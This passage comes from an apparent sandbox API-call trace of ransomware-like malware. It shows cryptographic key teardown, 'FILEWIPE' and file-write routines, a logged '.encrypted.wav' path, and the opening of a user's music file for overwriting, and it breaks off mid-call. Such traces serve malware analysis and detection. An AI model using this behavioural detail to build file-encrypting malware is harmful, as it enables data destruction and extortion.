lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.701] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.701] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.709] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.709] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.709] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.709] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.709] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.709] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.709] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.709] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.710] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.710] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.710] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.710] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.710] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.710] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.713] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.716] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.716] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.716] CharLowerBuffW (in: lpsz="byte[87902]", cchLength=0xb | out: lpsz="byte[87902]") returned 0xb [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.718] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.718] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.718] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.718] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.719] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.719] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.719] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.721] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.721] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6322) returned 1 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.721] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x18b2, lpOverlapped=0x0) returned 1 [0026.721] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x18b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6322) returned 1 [0026.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.encrypted.wav\r\n", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0026.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.encrypted.wav\r\n", cchWideChar=50, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\1Q1eF6.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 50 [0026.722] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051e00*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051e00*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x31, lpOverlapped=0x0) returned 1 [0026.722] CloseHandle (hObject=0x188) returned 1 [0026.723] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.723] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.723] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.723] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.723] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.723] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.723] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.724] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.725] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178980, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.725] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.725] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.mp3", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0026.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.mp3", cchWideChar=38, lpMultiByteStr=0xe8f41889f0, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.mp3", lpUsedDefaultChar=0x0) returned 38 [0026.726] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\5gt6ul.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | 